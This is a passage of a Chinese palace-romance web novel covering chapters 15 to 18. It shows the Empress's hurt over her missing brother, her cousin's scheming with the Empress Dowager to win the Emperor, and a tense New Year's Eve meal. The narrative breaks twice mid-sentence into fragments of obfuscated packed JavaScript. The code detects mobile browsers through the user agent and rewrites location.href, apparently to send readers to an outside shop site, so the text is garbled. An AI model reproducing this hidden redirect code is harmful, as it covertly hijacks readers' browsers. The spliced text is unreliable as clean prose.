想起从前,她的心慢慢变得柔软。 可一想到抱着自己的男人,不顾她的请求去救阿弟,是她从未见过的冷漠,思及此,她心里的那点柔软又消失不见。 她从来没有变,变了的人是他而已,她在心里回答。 她冷静道:“陛下喝醉了,都开始说胡话了。” 说着用了力从他的怀中挣脱出来,不管男人诧异的目光,唤来素月等人将男人强行带到了榻上。 她自然地上了榻,放下了床幔,对着一脸不可置信的男人淡声道:“陛下以后还是少喝些酒,睡吧。” 床幔放下没多久,素月就把外面的蜡烛给吹灭,室内一下暗了下来。 迷离中的谢敛只觉得眼前一暗,接着是薛弗玉躺下盖被子的声音,没有了她身上的温度,他只觉得头又开始痛了。 今晚的玉姐姐可真奇怪,明明待他一直都很温柔的,而且她刚才好像还凶了他。 玉姐姐怎么了? 带着这样的疑惑,醉意上来,他很快就陷入了沉睡中。 倒是一旁薛弗玉辗转反侧,阿弟至今仍未有消息,又得知阿弟护送薛明宜回京时,擅自改道的人其实是薛明宜,才会导致遭遇埋伏下落不明。 害阿弟失踪的人好好的呆在京中,阿弟却生死不明。 上次谢敛口口声声说都是因为阿弟,他们才会遭到埋伏。 她本就不信以阿弟的谨慎会做出擅自改道的事来,如今才知道薛明宜才是罪魁祸首。 宋璋都能查到薛明宜在说谎,她不信谢敛一个皇帝,还会查不到真正让他们遭遇埋伏的元凶是薛明宜。 他不过是念着他和薛明宜之间的情谊,不愿去深究罢了。 可她的阿弟又何其无辜? 她转了个身,对着已经熟睡的谢敛,想起自己经历的种种,只觉得眼睛酸涩,她忍着发酸的眼睛,轻声质问:“为什么不派人去救阿弟,为什么,要这样对我......” 沉寂的黑暗里,熟睡中的男人似乎眉头皱了一下。 翌日天一亮,薛弗玉睁开眼睛,发现身边还躺着一个人,看清楚是谢敛之后,她愣了一瞬,有些不习惯。 他几乎很少会在她这里睡到天亮,每次等她醒来之后,身边的枕衾已经凉透了。 此时男人仍在睡梦中。 素日里她很少给太后请安,今日却不一样,今日是除夕,不管如何都不能迟到。 她权衡了一下,还是靠近男人,小声唤道:“陛下,该醒了......” 唤了一声,见他没有反应,就在她准备唤第二声的时候,一只大掌握上她不盈一握的腰肢,接着稍一用力就把人按在了他的胸前。 男人沙哑的嗓音在耳边响起:“别吵,让朕再睡一会。” 薛弗玉被迫趴在他的身上,听着男人沉稳有力的心跳声,她只觉得脸上一热,青天白日的,她不喜欢与他这样亲密。 她抬起头,盯着他棱角分明的脸,不等她有所动作,宽大的手掌已经贴上了她的后脑,接着把她的头重新按在了胸前。 “皇后,听话。” 声音里带着一丝疲惫。 他这一年来几乎都是卯初就起,今日好不容易能休息,自然想多躺会儿。 薛弗玉被他的动作弄得没脾气了,他是皇帝,就算去迟了太后也不会说他什么,可她是皇后,太后是她名义上的婆母,若是她去迟了,挨训的只会是她! 她枕着他的胸膛,语气无奈:“陛下,今日是除夕,要去长信宫给母后请安,若是去迟了,母后许会不高兴。” 虽然她和太后之间没什么感情,去请安也不过是做给外人看的,若是今日去迟了,恐怕太后会觉得她连做戏都不愿了。 听她提起太后,谢敛轻哼了一声:“朕愿意尊她为太后,也算是还了她那几年的养育之恩,别的休想再奢求。” 薛弗玉默然,她知道谢敛还记着仇,其一是当年太后窜和着薛家一起骗谢敛,让她代替薛明宜嫁给他,其二则是太后的亲生儿子显王爷的事情,让他和太后之间有了深深的隔阂。 这两件事加起来,谢敛对太后已经到了嫌恶的地步。 她在心里叹了口气,算了,索性她是和谢敛一起去请安的,太后总不能当着他的面训她。 半个时辰后,二人终于下了榻。 今日太阳出来了,天气反而冷了许多,待她梳洗完,与谢敛一起用过早膳后,素月便让人取来了今年新制的狐裘放在一旁,而后碧云又把今日要喝的安胎药端了来。 谢敛看见那顶狐裘,状似无意地问:“朕记得给你的除了白狐狸的毛皮,还有几件墨狐的皮?” 薛弗玉搅着碗里的药汁,垂下眼眸道:“那墨狐的皮臣妾还没想好做成什么。” 阿弟常年在边关,到了秋冬的时候那边气候较冷,她其实早已做了打算,那几件墨狐皮要留着给阿弟的。 谁知道阿弟会失踪。 谢敛看不清她的眼中的情绪,只是不满意她的回答,想要开口询问,可当 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她艰难咽下口中的药汁,只觉得嘴里的苦涩一直蔓延到了心里。 “陛下感念成王,臣妾也会替陛下多多看照成王妃。”她柔顺的回答,没有明确答应他会召薛明宜进宫。 谢敛不察她的内心想法,只觉得她的温柔大度很得他的心。 他看了一眼已经被她喝完了的安胎药,心里思忖,若是那件事成了,他不介意给她更多的补偿。 —— 长信宫,薛明宜早早地就等在了这里。 昨夜宋璋试探的话到底是让她心里生出几分害怕来。 她确实是特意在信中要求薛岐这个堂哥护送她回京,也确实不顾薛岐的警告,擅自改道。 可她也是有自己的苦衷,他们不能怪她。 她遇到一队人的埋伏,三哥哥只身一人赶来救她,从悬崖上掉了下去。 可她是他的妹妹,除开兄妹这层身份,她还是成王妃,而他是臣子,他救她本就是天经地义了,若是因此死了,也是死得其所! 但一想到稳坐中宫的二姐姐,她还是害怕得说谎了,下意识把所有事都推给了三哥哥,暗指都是因为三哥哥擅自改道,才会让他们遭遇埋伏,三哥哥敌不寡众,最终受伤跌落悬崖,至今下落不明。 她不敢想,若是让他们找到三哥哥,三哥哥又还活着的话,等待她的将会是什么。 幸而陛下不知出于什么考虑,并未把三哥哥失踪的事情昭告朝廷,也没有大肆找人,如今知晓这件事的,也只有他们几个人。 三哥哥最好真的死了,绝对不能让那些人知道是她害得他。 尤其是二姐姐!更不能让她知道。 “明宜可是穿得太少了?” 太后见她身子突然抖了一下,以为她是被冷的。 薛明宜听到太后话中的关心,抬眸一笑:“母后看错了,对了,今日是除夕,怎么皇后娘娘和陛下还未前来给母后请安?” 她知道今日谢敛亲自会来给姑母请安,才特意一大早就进宫。 眼下她最想要知道的,就是谢敛的心里是不是真的还有她。 16. 第 16 章 “如今皇帝和皇后已和六年前不一样,哪里还会真的敬重我这个太后。” 太后叹了口气,她有时候也会后悔,当初既然求了先帝把丧母的皇帝养在膝下,后来就不该漠视他在宫里被人欺负。 更不该在皇帝即将摘取果实的时候动了不该有的心思,害得皇帝的大业差点没成,眼下皇帝还能尊她为太后,已是出乎意料。 薛明宜不知道皇帝登基那年发生了什么,听成王说万分凶险,皇帝差点就死了。 她还要依靠姑母,自然不能让姑母怨恨上皇帝,于是道:“陛下一向内敛,只是不知道要怎么表达关心母后,今日迟来,许是被什么事给绊住了。” 太后道:“还能有什么,不过是不在意哀家罢了,哎,这样团圆的日子,说这些做什么。” 反正她也不是很想见到皇帝,她现在最想念的是远在西南的儿子。 可皇帝下令,没有他的旨意,她的儿子永远没办法归京,这就是皇帝对她的报复之一。 薛明宜明白了太后所想,她道:“母后不必伤怀,表弟再如何,与陛下都是亲兄弟,陛下或许哪天想通,就会让表弟归京了。” 太后扫了一脸天真的薛明宜,她不欲与她在这个话题上深聊,便道:“你今日进宫是为了什么哀家清楚,可有皇后在,你今日只能收敛,万不能操之过急,否则被皇后察觉,你知道后果的。” 提起薛弗玉,薛明宜不在意道:“母后不知道,陛下一直以为当年的事是二姐姐故意的,陛下怪二姐姐,也怪薛家,却从未怪过我,且我听说,二姐姐生产的时候身子受了创伤,以后恐不会再有子嗣,陛下不会要一个生不出皇子的人做皇后的。” 她早就买通了太医院的一位太医,对二姐姐的身体了如指掌,怪不得二姐姐生完谢幼昭之后,到现在都三年了,肚子却没有任何动静。 太后觉得她的话有几分道理,她点头:“你于皇帝到底不一样,能不能再次得到他的青睐,就要看你的造化了。” 薛明宜一副志在必得的表情:“母后放心,就算是为了父亲,我也要让陛下想起我们的从前。” 话才说完,就有宫人来传,说是皇帝皇后带着公主来了。 薛明宜闻言,赶忙扶了扶头上的几根发钗,确保没有乱之后站了起来。 薛弗玉和谢敛脚才堪堪踏过门槛,就听见一道娇声:“妾拜见陛下和皇后!” 这一声如同莺啼,落在男人的耳边,他不禁把目光放在了对方身上,发现她今日穿得比以往鲜艳,没有如同之前一样穿着素衣,整个人看着鲜活了不少。 感受到了皇帝的视线,薛明宜心中欣喜,悄悄抬眸,不经意与皇帝的视线撞在一起,而后又像是被惊到了,仓促收回。 薛弗玉牵着昭昭,静静看着二人之间的眉眼官司,她的脸上难得没有笑意,只假装什么都不知道,谢敛不说话,她便也默默挨着谢敛,耐心等候。 过了一会儿,只听见身边的男人淡声道:“成王妃今日进宫给太后请安,怎的不见郡主?” 他没有立刻让薛明宜起身。 薛明宜维持着跪地的动作,虽然心中疑惑皇帝为何没让她起来,可是一想他还提到了自己的女儿,说明他还是对自己上心,也对女儿上心,若是以后她进宫了,还能替女儿挣一份殊荣。 “令姝昨夜睡得晚,所以今日没起来,妾不忍将她叫醒,想让她多睡会儿。” 说起谢令姝,她的语气和缓了许多。 “宫中只有公主一人,成王妃日后可带郡主进宫陪公主。”谢敛随意道。 薛明宜仿佛读懂了他的意思,眼中出现笑意:“妾也是这个意思,想让郡主多陪陪公主。” 一旁的昭昭打量着这个从未见过的女子,听到父皇说给她找个玩伴时,她扯了扯薛弗玉的袖子,小声说道:“阿娘,我不需要玩伴,宫里除了阿娘还有那么多姐姐陪昭昭玩,昭昭一点也不孤单。” 稚嫩的童音突然响起,薛明宜暗暗皱眉,她虽然心里不满昭昭的话,但是面上却不能表现出来,只得对上昭昭道:“公主身份金贵,哪里能成日里和那些位卑的宫人玩耍,公主该和自己身份一样尊贵的人玩,这样才不会让那些人玷污了自己的身份。” 昭昭才三岁,听不懂她说的位卑和玷污是什么意思,只听见她说不让她和宫里的姐姐们玩,一时眼眶红了,她抱住薛弗玉的大腿,委屈道:“昭昭不要和别人玩,昭昭就要和姐姐们玩。” 薛弗玉本就不赞同薛明宜的话,她忙把昭昭抱起来,柔声哄她:“昭昭乖,她是逗你玩的,昭昭爱和谁玩就和谁玩。” 说着她瞥了一眼身边的男人,不满他方才说的话,京中多的是与昭昭年纪相仿的贵女,从前怎么不见他想起要给昭昭寻找玩伴? 早上才让她多召薛明宜进宫,眼下又让薛明宜带着她的女儿进宫陪昭昭,他的心思是一点也不想藏。 感受到了薛弗玉不善的眼神,谢敛眉心一皱,他不过是和薛明宜客套,谁知道她竟是上赶着。 “昭昭乖,父皇抱你。”见女儿不高兴,他心里一软,只能先哄着她。 他伸手想要接过昭昭,可是昭昭看见后不理他,忙把脸埋进了薛弗玉的怀中,双手紧紧搂着她的脖子,一副不愿他抱的样子。 见此,薛弗玉眼中滑过一抹浅笑,“陛下,昭昭黏臣妾厉害,还是臣妾抱着她吧。” 连语气中都带着一丝藏不住的笑意,仿佛在嘲笑他。 谢敛听出了她笑里的得意,当下对着给他留了个后脑勺的昭昭,只觉得心里生出挫败感来。 这母女俩真是好样的,最懂得如何气他,他的心里生出无力感来。 这边太后见皇帝一直没让薛明宜起来,心中渐渐起了疑心,不是说皇帝的心里还有她,如今怎么晾着她不管。 难不成是还记着当初明宜抛下他嫁给成王的事,所以故意当着她的面气她? “皇帝,成王妃身子骨弱,前段时间还生病了,这样让人一直跪在地上怕是不好,还是让她起来吧。” 她忍不住出言提醒。 这时候的谢敛仿佛才想起有这号人,他道:“起来吧。” 许是跪得久了,薛明宜起身的时候,身子往旁边歪了歪,幸而宝扇眼疾手快扶住了她,“娘娘!” 等站定之后,薛明宜分明看清楚了在她身子一歪的时候,谢敛似乎想要伸手,思及此,她的心跳加快,对谢敛露出一个虚弱的笑:“妾在陛下跟前失仪了,往陛下恕罪。” 薛弗玉看着她,方才她也看见了薛明宜快要跌倒的时候,身边男人的手动了动,至于是不是想要扶她,便不得而知了。 薛明宜的心思谢敛一眼就能看透,他没有说话,而是扫了一眼身边的女子,想要看她是何神情,却见她脸上的神色和平时没什么两样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007142|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “成王妃既然身子不适,本宫可传太医来给你瞧瞧。” 感受到了谢敛的目光,薛弗玉适当地扮演他口中的贤后,只是她有自己的考量,倒是想看看,薛明宜是否真的身子弱。 “多谢皇后娘娘关心,妾只是昨夜没睡好,不必劳烦太医。” 薛明宜不过是想要试探谢敛,如今她身上的老毛病没复发,真让太医给她诊脉,届时发现她没病,谢敛会如何想她? 薛弗玉也不是真的关心她,既然她都这样说,只能作罢。 “时间不早了,哀家让小厨房准备了午膳,今日皇帝和皇后就在哀家这里用膳。”太后道。 有了她的话,这时候谢敛才慢吞吞地携着妻女,同太后请了个迟到两个时辰的安。 午膳薛明宜自然也留了下来,她看着坐在一起的一家三口,暗暗掐紧了手心。 菜上完后,太后突然问皇帝:“这些都是哀家小厨房的拿手好菜,皇帝看可还喜欢?” 碍于有宫人在,他不想落得个对养母冷淡的名声,于是扫了一眼案上的菜,在看清那些菜之后,他不经意扫了一眼太后,瞬间明白了太后的意图,过了一会儿才故意顺了她的意道:“朕记得这道菜成王妃不爱吃,撤了吧。” 宫人得了他的命令,忙把那道菜给撤下,有重新上了一道。 薛明宜露出受宠若惊的神情,脸上现出几分羞涩:“妾没有陛下想得那么挑食。” 太后故意惊讶道:“看来哀家这个做姑母的还不如皇帝细心,倒是忘了明宜不爱吃这个,哀家年纪大了,记性也变差了。” 有了太后的话,薛明宜更加觉得谢敛心里还有她,她含羞带怯道:“母后说得哪里的话,陛下不过是还念着从前的情谊才会留意到,且母后这么年轻,哪里就老了,不知道的还以为母后是妾的姐姐呢!” 许是试探出了一点皇帝的心思,后又有薛明宜哄着,太后的心情好了许多,脸上的笑也变得真诚。 谢敛听着她们二人一唱一和,在心里冷嗤。 薛弗玉看着太后和薛明宜演戏,又有谢敛还记着薛明宜在吃食上的喜好在前,顿时觉得倒尽了胃口。 她唇边始终带着让人寻不错的笑意,只是开始用膳后,入口的食物却少得可怜。 谢敛坐在她身边,自然察觉到了她的心不在焉,他夹了一块八宝鸭肉放在了她的碗里,轻声与她道:“这道鸭肉做得不错,尝尝。” 薛弗玉看着突然出现碗里的那块鸭肉,只觉得刺眼得很,她夹了旁的吃,迟迟没有动鸭肉。 “怎么了,不喜欢?”男人见状觉得她是在与自己置气,他眉梢微挑。 薛弗玉心里泛起苦涩,知道不能真的拂了男人的面子,只能拿起筷子,不等她有下一步的动作,坐在一旁的昭昭却用勺子把鸭肉舀走。 “父皇,阿娘她不爱吃鸭肉,但是昭昭爱吃!” 说着啊呜一下吃了,吃完又继续道:“阿娘还不喜欢吃豆芽和木耳!阿娘喜欢吃的是......” 昭昭如数家珍,说完一脸骄傲。 无心的话字字凿进了谢敛的心里,他的脸上闪过错愕。 他记得薛明宜不爱吃什么,却从不知道相处十年的发妻不爱吃什么,爱吃什么。 他们在一处吃饭的机会少得可怜,他似乎没见过她不吃某道菜。 她从前,也从未与他说过这些喜好。 17. 第 17 章 谢敛再次看向薛弗玉,却发现她神色依旧温和,就好像他记得薛明宜的吃食喜好,却不记得她的喜好不过是一件寻常的事。 有了对比,薛明宜心里暗暗得意,她瞧见男人微微沉下去的脸色,觉得是对薛弗玉不识相的不满,于是对着薛弗玉语重心长道:“二姐姐,不管如何,那是陛下亲自给你夹的,你怎可拒绝?” 不像她,陛下直接把她不爱吃的菜给换了,她眼中闪过一丝挑衅。 太后不喜薛弗玉,自然不会帮她说话,只是薛明宜不该用这样的语气同薛弗玉说话,仿佛她才是正宫。 八字还没一撇就想骑皇后头上,真是没脑子,她在心里暗骂,一时又有些怀疑自己撺掇薛明宜引诱皇帝,是否真的正确。 “皇后不常在哀家这里,是哀家的疏漏,哀家会命人记下皇后的喜好,希望皇后不要怪哀家粗心。” 这是为了转移薛弗玉的注意力,不让她多想。 一旁的皇帝自昭昭说完后就陷入了沉默中,似连薛明宜和太后的话也未曾听进去。 薛弗玉扫了一眼薛明宜和太后,蓦地唇边泛起一抹浅笑,当着众人的面动手夹了一块鸭肉放进口中咀嚼,而后面不改色,忍着反胃艰难咽下。 过了一会儿,她声音一如往常般温柔:“臣妾怎会怪母后,陛下刚才说得对,这道八宝鸭做得很可口,改日臣妾还要借母后小厨房的厨娘,母后可得忍痛割爱。” 她说话时唇边始终带着浅笑,与太后半开玩笑。 方才她见昭昭一直让宫人夹八宝鸭,想来女儿很喜欢,太后若真愿意借人,她也好借此让自己宫里的厨娘也学了去,日后可经常给女儿做。 她一想到女儿不知何时记住了自己的喜恶,心就变得更加柔软,连因为谢敛带给她的苦涩都没了。 “皇后喜欢,便多吃些,过几日哀家让那厨娘去你宫里教教厨娘。” 太后一时猜不透薛弗玉的心思,又见她吃鸭肉时神色不变,便觉得小孩子的话大多是假的。 “谢母后。” 说着她又抬手要拿起公筷去夹八宝鸭。 谁知道一只指骨修长的手比她先一步拿了筷子,身边一直没动作的男人此时终于说话了:“一道菜吃太多会腻,皇后还是吃点别的。” 他说话时声音比最开始沉了些,握着筷子的手背青筋暴露。 薛弗玉一眼就能看出他生气了,她不知道他在气什么,她觉得该生气的人理应是她才对。 即便心中不虞,她脸上仍旧笑意不减:“陛下说得有道理。” 说完她便去夹了自己喜欢的放在碗中。 谢敛盯着她面上温和的笑意,只觉得那道笑容很刺眼,念及此,他握筷子的手稍一用力,差点折断了手中的公筷。 她在说谎。 昭昭从来不会说谎,且他分明看见她动都不愿意动他夹在她碗中的那块,她就是不喜欢吃鸭肉。 可为了不拂了他的面子,她竟是强忍着吃下去,甚至连脸上也维持着让人挑不出错的笑。 由此可见,她从前为了顾忌他而做了多少自己不想做的事,她的对他的笑又有几分是真,几分是假? 越想他的心里就越像是塞了棉花,堵得厉害,想要发泄又找不到口子。 薛弗玉此时哪里知道他心中所想,谢敛不让她吃鸭肉,她乐得自在,至于不久前薛明宜的话,她根本没有放在心上。 薛明宜见薛弗玉完全地将她无视了,顿时气得心口疼,可一想到对方是皇后,身份上就压了她一头,她即便是不爽快,也不能再说什么,只能讪讪地用膳。 这一顿饭后半段薛弗玉吃得遂心,倒是除了昭昭之外的其他三个人吃得索然无味。 用完午膳,太后又命人上茶,一边逗昭昭玩儿,一边与薛明宜和薛弗玉闲话家常。 而谢敛坐在薛弗玉的身边明显心不在焉,偶尔太后提到他时才应一两声。 才半个时辰,昭昭就缠着薛弗玉说要出去玩。 薛弗玉本也不爱与太后和薛明宜在一处,正好借口带着人出去,借此出了长信宫。 而太后言有话要与皇帝交代,便将人给留下了。 “阿娘,昭昭不喜欢那个成王妃。” 才出了长信宫没多久,昭昭便搂着薛弗玉的脖子,闷闷道。 小姑娘虽然不懂大人的世界,可她总看见成王妃一直偷看父皇,让她不高兴,父皇只能是阿娘的,谁也不能抢走阿娘的父皇。 薛弗玉惊讶她会说出这样的话,她拍了拍昭昭的背,低声道:“昭昭不喜欢她,咱们以后就不见她了,好不好呀?” 昭昭听着阿娘的话,重重地点头:“阿娘说话要算数,以后昭昭不要见她!” “好~阿娘都听昭昭的。”薛弗玉亲了亲昭昭肉肉的脸颊,笑道。 昭昭被她亲了,红着一张脸似害羞地埋进她的颈窝,害羞的笑声传出:“阿娘最好了!” 被香香软软的女儿依赖,薛弗玉感觉心都要化了。 此时她的心里也下了决定。 就算是为了女儿和阿弟,薛明宜也绝不能进宫伴驾,十年前她身不由己嫁给谢敛,可如今不一样了,只要她还是皇后,除非她死,就一定会阻止薛明宜进宫。 就算会与谢敛对上,她也不会让步。 “阿娘,昭昭想下来自己走。” 薛弗玉抱着昭昭走了没多久,怀中的女儿开始不安分地扭动身子。 她诧异地问道:“昭昭不是最喜欢阿娘抱着你了?” 昭昭有些不好意思:“嬷嬷和昭昭说,阿娘肚子里还有个弟弟,不能累着阿娘,不然那个弟弟就会不见,阿娘也会受伤,昭昭不想阿娘累,也不想阿娘受伤,昭昭会难过的。” 她最开始的时候是不想要弟弟,嬷嬷却说等以后阿娘生下弟弟,弟弟长大后就能保护阿娘和昭昭。 可是昭昭再长大一点,也一样可以保护自己和阿娘呀,那时候她反驳,还被嬷嬷笑了,说她以后会出宫嫁人,离开阿娘和父皇。 昭昭不想嫁人,更不想离开阿娘和父皇。 薛弗玉听着女儿贴心的话,眼神柔软,她抱着昭昭分明不累,且肚子里的孩子...... 念头才起她便收了回去,她没有做过多的解释,把人给放了下来。 温暖的小手突然牵住她的手,她低头正好看见昭昭小小的手努力想要把她的手包住。 从前都是她的手牵着昭昭的手,此时女儿却想换过来,她的心像是被一股暖流冲刷,先前在长信宫生出的不快,瞬间全被女儿给治愈了。 昭昭果然是上天送给她的最好的礼物。 不知不觉,她带着昭昭走到了从前她和谢敛住的地方。 这地方自从谢敛登基之后就被封了起来,上锁的大门红漆褪了色,时间久了逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007143|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐露出一道缝隙,从缝隙中依稀可以看见前院的光景。 那个她让谢敛搭的秋千已经断了,十年前她种下的那棵山茶花,已经长了半丈有余,主干如茶碗口粗,此时正逢花期,枝干上的白色茶花悄然绽放。 原来没有她的打理,这棵山茶花也能自由肆意的生长。 昔日她最爱做的事就是坐在秋千上,欣赏山茶花开花落,静看云卷云舒。 而少年时的谢敛,则时不时地出现在她的视野,做着许多她做不了的粗活,偶尔见她悠闲地荡秋千,还会拿眼瞪她,嫌她什么都不会做。 少年心性一览无遗。 那时候的生活虽然艰辛,可胜在简单,除了碧云外只有她和谢敛二人,而少年人心性简单,不似如今这般,应付起来让人心累。 可若是问她想不想回到这里,她自然是不想的,谁会愿意放弃现在的舒服日子,去过从前的苦日子? “阿娘,这里是什么地方?” 昭昭趴在门缝里,努力看着里头问。 薛弗玉半蹲在她的身边,语气带笑:“这里从前是你父皇和阿娘的住处。” 昭昭听了她的话,却不高兴了,皱了皱鼻子:“这里这么小,阿娘和父皇住在这里,是不是不舒服?” 不舒适是自然的,但是她不想告诉她为何他们会住在这里,她不想把上一代的恩怨告诉昭昭,只道:“怎么会不舒服,从前阿娘和你父皇在这里没有人打扰,想做什么就做什么,阿娘和碧云姑姑还在里头种了好吃的青菜呢。” 那时候御膳房的人给他们吃的都是很粗糙的饭菜,谢敛每次都是把自己那小份先端走,剩下的就是她和碧云二人,可是她吃不习惯,所以偷偷让碧云在后院开垦了一小片菜地种菜。 她和碧云翻不动地,最后把谢敛骗来帮她们翻的。 现在她还记得少年一边臭着一张脸,一边拿着锄头翻地的场景,记得他翻出小拇指大的蚯蚓时,被吓白的脸。 原来敢和太子以及先皇后叫板,狼崽子一样的少年,居然会怕蚯蚓。 “那父皇会种菜吗?” 昭昭突然的问题将她从回忆中唤醒。 薛弗玉回想了一下,似是想到了什么好笑的事,她轻轻摇头:“你父皇他呀,不喜欢地里的泥土,所以不会种菜。” 若是让昭昭知道,自己英明神武的父皇居然怕蚯蚓,怕是会有损他在昭昭心目中的形象。 毕竟昭昭可是在两岁的时候,就敢捏着不知道从哪翻出来的蚯蚓,故意吓唬宫人的小淘气。 少年因为怕蚯蚓,却为了面子装做是嫌弃泥土脏,所以并没有跟着她和碧云一起种菜。 母女俩正说着话,不远处找人的李德全终于见到了她们。 他急匆匆走到薛弗玉身后行礼:“皇后娘娘,陛下已经去了您的凤鸾宫,此时正在宫里等着您回去。” 薛弗玉诧异:“太后不是留了陛下在长信宫?” 怎么这会子谢敛又去了她的宫里? 李德全笑了笑:“娘娘走后没多久,陛下也离开了,只是没想到娘娘没有回凤鸾宫。” 薛弗玉突然想起当时她带着昭昭离开的时候,薛明宜还在太后的宫里没走。 难不成是趁着她不在,谢敛和太后已经开始商量日后要把薛明宜纳进后宫的事宜,眼下他去了她的宫里,许是已经商量出了办法,现在就等着她点头答应了。 18. 第 18 章 薛弗玉并没有着急回凤鸾宫,而是先把昭昭送回了她的棠梨宫,而后在李德全地再三催促之下,才慢悠悠地往隔壁的凤鸾宫回去。 她之所以没有把昭昭一起带回凤鸾宫,为的也是万一谢敛真的和她提起要纳薛明宜进宫为妃的事,她怕她会忍不住和谢敛对峙。 届时被昭昭看见,总归是不好的。 在昭昭的眼中,她和谢敛一直都是恩爱的。 即便昭昭才三岁,可是她的女儿早慧,有些事情也渐渐明白,她不想因为薛明宜的事情而让昭昭得知,其实她的父皇和阿娘,感情并没有她想得那样好。 “李公公,陛下可是有什么事?” 她一边往凤鸾宫走,一边试探地问跟在身后的李公公。 李德全其实也不知道到底发生了什么事,太后留下陛下和成王妃的时候,他站在殿外,只隐约听见成王妃似乎哭了,出来的时候眼圈也红红的,他瞧得真真的。 他虽然瞧着成王妃虽然眼圈通红,可到底也也不知道具体发生了何事。 至于陛下让他来寻皇后娘娘,是否为了成王妃的事,他也不得而知。 他思考了一下,才不确定道:“许是和成王妃有关吧。” 果然,谢敛大约是真的铁了心要纳薛明宜。 李德全的回答让薛弗玉的脸色变了变,可最后又收敛了起来,脸上依旧是温和的神色。 “成王妃这般年轻就丧夫确实可怜,成王早些年在封地做了不少利国利民的好事,陛下许是想要本宫回去,和本宫商量正式封赏成王妃的事宜。” 李德全觉得她说得有道理,便顺着她的话往下继续道:“皇后娘娘贤明,虽说陛下在成王妃刚回京就赏赐了,可到底不是明面上的,这一回为了告慰成王殿下的在天之灵,大约会大行封赏。” “大行封赏?” 薛弗玉在口中细嚼这两个字,她眉心微蹙,薛明宜何德何能,能让谢敛给她大行封赏? 李德全自然读到她说出这几个字时的意味深长,他立刻打哈哈道:“奴才也只是听了一嘴,原不是陛下的意思,是礼部的冯大人提出来,不过陛下当时并未答应。” 说完他抹了抹额头的汗,后悔自己如同竹筒倒豆子,把这些事都给抖搂了出来,可后悔也来不及了。 都怪皇后娘娘性子太过温柔,他一时忘我,便把这种八字还没一撇的事告诉了娘娘,万一娘娘问起陛下,陛下不就知道了是他传出去的? 可话已经说出去了,他只能在心里祈祷娘娘不要把他给卖了。 薛弗玉扫了一眼,发现他一脸紧张,顿时觉得好笑,她温声道:“公公放心,本宫不会把你供出去的。” 李德全顿时打了打自己的嘴角,感激道:“奴才说话没把门,还请娘娘不要怪罪。” 薛弗玉笑笑,没有再说话。 二人一前一后进了凤鸾宫的大门,到了寝殿门口,薛弗玉给了李德全一个安心的眼神,李德全这才把彻底把心放在了肚子里。 踏进殿内,薛弗玉没有在外室看到谢敛的身影,她便朝着里头缓步走去。 没多久,隔着珠帘,她看见男人正盘腿坐在西窗下的暖炕上,身前的炕案上放着不知道从哪找来的棋盘。 他一手撑着半边脸,一手微微抬起,指间夹着一枚白子,他身上穿着玄色的常服,一头的黑发用银冠束起,额边有几缕碎发散在脸侧,面上一副悠闲自得。 薛弗玉不得不承认,谢敛生在帝王家,他生得不像先帝,大约长相随了生母,他的生母是当时最得先帝喜爱的宠妃,可见那位早逝的婆母是何等的倾国倾城,看他的长相便知他完全地继承了生母的美貌。 此时的他不像是一位运筹帷幄的帝王,倒像是身上透着矜贵的世家公子。 “回来了?” 谢敛早听见了她的脚步声,却没有想到她在珠帘前停住,迟迟没有进来,他于是把手中的白子放回了棋篓里,抬眸去看她。 他的声音如常,仿佛午时在太后宫里用午膳的小插曲不曾发生。 隔着珠帘,他看不清薛弗玉脸上此时是何表情。 听到他的声音,薛弗玉回神,纤细的指尖挑开珠帘走了进去,她面上挂着浅笑:“陛下今日怎么会想到下棋?” 她并未问他让李德全找自己回来是何事。 或许是她是在逃避,下意识希望谢敛找她并不是因为薛明宜的事。 她不提薛明宜的事,谢敛也没有提,他对着许是因为怀孕而缓慢朝着自己走来的薛弗玉道:“今日闲来无事,便让你宫里的人找了这幅棋盘出来。” 薛弗玉上前,才发现这副棋盘看着有些眼熟。 “原来是以前的棋盘,臣妾还以为它不见了。”过了一会她才认出来,她还以为是宫人收拾的时候,见它老旧便给扔了,谁能想到竟还留着。 按理说以他们现在的身份,棋盘必然也是用价值不菲的材料制成,就连白子黑子都是用玉做的。 眼前的棋盘老旧,棋子也是再普通不过的。 这副棋盘是当初她给了碧云几个钱,让她找了人从宫外买进来的。 那时候他们天天呆在那简陋的宫苑,日子过得清贫又无聊,她便试着教碧云下棋,想着等教会了碧云,届时就能和碧云对弈打发时间。 她并不知道,少年时的谢敛,也不会下棋。 所以在她教碧云下棋时,他便偷偷在一旁偷学,被她发现后还嘴硬不愿承认。 后来她再教碧云,便特意挑了少年在的时候,当着他的面故意教得仔细,不仅让碧云学会了,最后也让他学会了。 “在下棋方面,朕还得唤皇后一声师父。”谢敛轻笑一声,语气中似有调侃。 不止她想起了从前,谢敛看着这副旧棋盘,同样也想起了过去。 他从前总以为,薛弗玉不择手段嫁给他,是不清楚他在宫中的处境,看中了他皇子的身份,想要求得荣华富贵。 后来十年的相处中,才发觉他或许错了,她陪他在那里吃四年的苦,足以证明她并非贪慕虚荣。 “陛下莫要拿臣妾开玩笑了,臣妾不过是略知皮毛,哪里担得起陛下的这一声师父。” 薛弗玉说着顺势在他对面坐下。 “既然回来了,陪朕下一局?”谢敛眉峰一挑,对着她道。 